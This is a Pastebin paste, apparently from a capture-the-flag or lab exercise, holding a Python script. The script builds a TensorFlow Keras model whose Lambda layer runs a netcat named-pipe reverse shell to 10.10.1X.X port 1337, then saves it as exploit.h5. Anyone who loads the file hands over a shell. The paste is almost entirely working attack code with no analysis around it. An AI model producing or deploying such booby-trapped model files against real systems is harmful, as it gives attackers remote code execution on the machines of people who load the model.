Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import tensorflow as tf
- def exploit(x):
- import os
- os.system("rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.1X.X 1337 >/tmp/f")
- return x
- model = tf.keras.Sequential()
- model.add(tf.keras.layers.Input(shape=(64,)))
- model.add(tf.keras.layers.Lambda(exploit))
- model.compile()
- model.save("exploit.h5")
Advertisement
Add Comment
Please, Sign In to add comment